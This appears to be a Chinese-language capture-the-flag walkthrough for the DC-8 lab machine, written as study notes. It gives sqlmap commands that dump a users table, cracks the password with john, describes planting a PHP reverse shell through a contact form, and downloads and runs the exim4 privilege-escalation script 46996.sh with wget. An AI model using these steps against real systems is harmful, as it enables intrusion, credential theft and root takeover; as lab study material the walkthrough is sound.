1.主机发现(arp-scan -l)
ip地址为:192.168.1.140
2.端口扫描(nmap -sV -A)【版本号以及详细信息+所有端口】
80端口/22端口分别是web和ssh服务的端口号
3.目录深度挖掘
可使用工具:dirsearch
dirsearch -u 192.168.1.140 >[重定向 文件名]
【4xx
(Client Error) 客户端错误状态码,表示服务器无法处理请求。
400:指出客户端请求中的语法错误。
401:该状态码表示发送的请求需要有认证。
403:该状态码表明对请求资源的访问被服务器拒绝了。
404 :该状态码表明服务器上无法找到指定的资源。
5xx
(Server Error) 服务器错误状态码,表示服务器处理请求出错。
500:该状态码表明服务器端在执行请求时发生了错误。
502 :该状态码表明服务器网关错误。
503 : 该状态码表明服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。】
扫出登陆页面
访问后显示登录页面(可考虑sql注入)
发现侧边还有三个选择项,分别点击后url栏显示不同的id(sql注入标志,可尝试)
4.sql注入尝试(运用sqlmap爆破)
sqlmap -u http://192.168.1.140/?nid=1 -dbs
sqlmap -u http://192.168.1.140/?nid=1 -D d7db --tables
sqlmap -u http://192.168.1.140/?nid=1 -D d7db -T users --columns --dump
得到name,pass
5.将pass放到文本文档中,利用john分析密码,密码为 turtle
6.将得到的用户名:john/密码:turtle放入登录
7.开始利用ssh进行渗透(需要getshell)
- 看web端 查看是否有getshell的地方
- 在这里可以修改表单的设置,切记不要直接写马,前面得加一行,才可以顺着执行php代码【选项要选php代码】,写好后,最底下保存
- 在kali开启监听,然后在contact us的View处,随便输入,提交,则可以反弹回shell
- 输入python -c 'import pty;pty.spawn("/bin/bash")'得到交互式shell
8.利用漏洞提权
- 利用sudo -l发现不太行,那就查看下是否存在suid的提权
输入:find / -perm -4000 2>/dev/null
(查找系统所有文件中拥有suid特殊权限的文件)
(4000 2000 1000分别表示SUID SGID SBIT)
- 查看exim4的版本
输入:exim4 --version
- 使用searchsploit查找exim的漏洞【“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块】
输入:searchsploit exim
以上的意思是提升权限的功能。
- 查找46996.sh的绝对路径
输入:searchsploit -p linux/local/46996.sh
路径:/usr/share/exploitdb/exploits/linux/local/46996.sh
- 复制一份将其保存在桌面上
输入:cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
9.把脚本文件导入到DC8靶机中
- 接着在桌面开启http服务
输入: python3 -m http.server 8888
- 在交互shell中使用wget命令从本地开启的http服务中下载提权漏洞到靶机中
首先将路径转到/tmp下
再使用wget命令从本地开启的http服务中下载提权漏洞到靶机中
给这个文件赋予777权限
查看46996.sh的使用方式(其中有两种提权方式,我们使用第二种)
提权成功
10.直接进入root用户,查看flag,打入DC8!(存在时间很短,手慢无)